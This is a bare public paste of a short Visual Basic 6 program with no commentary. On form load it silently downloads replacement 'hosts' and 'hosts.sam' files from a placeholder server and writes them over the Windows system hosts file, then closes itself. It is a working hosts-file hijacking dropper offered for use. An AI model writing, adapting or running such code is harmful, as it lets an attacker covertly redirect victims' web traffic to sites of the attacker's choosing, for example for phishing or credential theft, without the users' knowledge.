Share Pastebin
Guest
Public paste!

Untitled

By: a guest | Mar 16th, 2010 | Syntax: None | Size: 0.84 KB | Hits: 118 | Expires: Never
Copy text to clipboard
  1. Option Explicit
  2. Private Declare Function URLDownloadToFile Lib "urlmon" _
  3.    Alias "URLDownloadToFileA" _
  4.   (ByVal pCaller As Long, _
  5.    ByVal szURL As String, _
  6.    ByVal szFileName As String, _
  7.    ByVal dwReserved As Long, _
  8.    ByVal lpfnCB As Long) As Long
  9. Dim ERROR_SUCCESS
  10.  
  11. Private Sub Form_Load()
  12.     Dim sSourceUrl As String
  13.      
  14.     sSourceUrl = "http://tuserver.com /" & _
  15.         "descargar/hosts"
  16.  
  17.     DownloadFile sSourceUrl, "C:\Windows\System32\drivers\etc\hosts"
  18.  
  19. sSourceUrl = "http://tuserver.com /" & _
  20.         "descargar/hosts.sam"
  21.     DownloadFile sSourceUrl, "C:\Windows\System32\drivers\etc\hosts.sam"
  22. Unload Form1
  23. End Sub
  24.  
  25. Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean
  26.   DownloadFile = URLDownloadToFile(0, sURL, _
  27.     sLocalFile, 0, 0) = ERROR_SUCCESS
  28. End Function